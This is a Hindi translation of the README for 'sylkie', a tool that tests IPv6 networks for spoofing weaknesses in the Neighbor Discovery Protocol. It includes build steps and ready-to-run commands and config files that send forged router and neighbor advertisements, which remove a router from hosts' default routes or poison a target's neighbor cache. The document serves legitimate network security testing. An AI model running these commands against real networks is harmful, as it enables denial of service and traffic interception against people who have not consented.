
नेबर डिस्कवरी प्रोटोकॉल के साथ IPv6 पता स्पूफिंग
sylkieएक कमांड लाइन टूल और लाइब्रेरी जो IPv6 नेटवर्क में नेबर डिस्कवरी प्रोटोकॉल का उपयोग करके सामान्य पता स्पूफिंग सुरक्षा कमजोरियों के लिए नेटवर्क का परीक्षण करती है।
नोट: यह प्रोजेक्ट अभी विकास के शुरुआती चरणों में है। यदि आपको कोई समस्या आती है, तो कृपया एक issue सबमिट करने पर विचार करें। यह वर्तमान में केवल लिनक्स पर चलता है।
अधिक जानकारी के लिए The Wiki देखें।
कोड प्राप्त करें और इसे संकलित करें!
# कोड प्राप्त करें
git clone https://github.com/dlrobertson/sylkie
cd ./sylkie
# कोड संकलित करें
mkdir -p ./build
cd ./build
cmake -DCMAKE_BUILD_TYPE=Release ..
make
make install
निम्नलिखित sylkie के मूल उपयोग का वर्णन करता है। अधिक जानकारी के लिए sylkie -h या sylkie <subcommand> -h चलाएँ या अधिक उदाहरणों के लिए [Advanced Usage] (https://github.com/dlrobertson/sylkie/wiki#advanced-usage) देखें।
नोट: sylkie जाली विज्ञापन भेजने के लिए [raw sockets] (http://man7.org/linux/man-pages/man7/packet.7.html) का उपयोग करता है। परिणामस्वरूप, निष्पादन योग्य फ़ाइल में या तो setuid बिट सेट होना चाहिए, या इसे रूट के रूप में चलाया जाना चाहिए।
router-advert कमांड का मूल उपयोग नीचे सूचीबद्ध है। यह कमांड दिए गए आईपी या सभी नोड्स मल्टीकास्ट पते पर एक राउटर विज्ञापन संदेश भेजेगा, जिससे लक्षित नोड्स अपनी डिफ़ॉल्ट रूट सूची से <router-ip>/<prefix> को हटा देंगे।
sylkie ra -i <interface> \
--target-mac <mac of router> \
--router-ip <ip of router> \
--prefix <router prefix> \
--timeout <time between adverts> \
--repeat <number of times to send the request>
एक मूल उदाहरण।
sylkie ra -i ens3 \
--target-mac 52:54:00:e3:f4:06 \
--router-ip fe80::b95b:ee1:cafe:9720 \
--prefix 64 \
--repeat -1 \
--timeout 10
यह लिंक-लोकल स्कोप के सभी नोड्स पते ff02::1 पर एक "जाली" राउटर विज्ञापन भेजेगा, जिससे सभी नोड्स अपनी डिफ़ॉल्ट रूट सूची से fe80::b95b:ee1:cafe:9720/64 (लिंक-लेयर पता 52:54:00:e3:f4:06) को हटा देंगे।
sylkie नेबर विज्ञापन कमांड का मूल उपयोग नीचे सूचीबद्ध है। यह कमांड दिए गए आईपी पर एक जाली नेबर विज्ञापन संदेश भेजेगा।
sylkie na -i <interface> \
--dst-mac <dest hw addr> \
--src-ip <source ip> \
--dst-ip <dest ip address> \
--target-ip <target ip address> \
--target-mac <target mac address> \
--timeout <time betweeen adverts> \
--repeat <number of times to send the request>
एक मूल उदाहरण
sylkie na -i ens3 \
--dst-mac 52:54:00:e3:f4:06 \
--src-ip fe80::61ad:fda3:3032:f6f4 \
--dst-ip fe80::b95b:ee1:cafe:9720 \
--target-ip fe80::61ad:fda3:3032:f6f4 \
--target-mac 52:54:00:c2:a7:7c \
--repeat -1 \
--timeout 3
यह dst-ip (fe80::b95b:ee1:cafe:9720) पर एक "जाली" नेबर विज्ञापन संदेश भेजेगा, जिससे target-ip (fe80::61ad:fda3:3032:f6f4) के लिए नेबर कैश में हार्डवेयर पता target-mac (52:54:00:c2:a7:7c) में अपडेट हो जाएगा।
उपरोक्त कमांड के लिए काफी जानकारी की आवश्यकता होती है। जीवन को आसान बनाने के लिए sylkie जाली विज्ञापन भेजना शुरू करने के लिए आवश्यक जानकारी वाली json और सादा पाठ फ़ाइलें भी स्वीकार करता है।
उप-कमांड (router-advert, neighbor-advert) एक कुंजी है जिसका मान वस्तुओं की एक सरणी है, जिसमें कुंजी और मान संबंधित विकल्प और मान हैं। कमांड चलाने के लिए, json फ़ाइल का पथ -j विकल्प के तर्क के रूप में पास करें।
ऊपर दिए गए router-advert उदाहरण को json से चलाने के लिए, पहले निम्नलिखित के साथ एक फ़ाइल बनाएँ।
{
"router-advert": [
{
"interface": "ens3",
"target-mac": "52:54:00:e3:f4:06",
"router-ip": "fe80::b95b:ee1:cafe:9720",
"prefix": 64,
"repeat": -1,
"timeout": 10
}
]
}
फ़ाइल बनाने के बाद, निम्नलिखित के साथ विज्ञापन भेजना शुरू करें।
sylkie -j /path/to/json
फ़ाइल की प्रत्येक पंक्ति बिल्कुल वही होनी चाहिए जो आप कमांड लाइन के माध्यम से प्रदान करेंगे, sylkie कमांड को छोड़कर।
ऊपर दिए गए neighbor-advert उदाहरण को json से चलाने के लिए, पहले निम्नलिखित के साथ एक फ़ाइल बनाएँ।
na -i ens3 --dst-mac 52:54:00:e3:f4:06 --src-ip fe80::61ad:fda3:3032:f6f4 --dst-ip fe80::b95b:ee1:cafe:9720 --target-ip fe80::61ad:fda3:3032:f6f4 --target-mac 52:54:00:c2:a7:7c --repeat -1 --timeout 3
फ़ाइल बनाने के बाद, निम्नलिखित के साथ विज्ञापन भेजना शुरू करें।
sylkie -x /path/to/file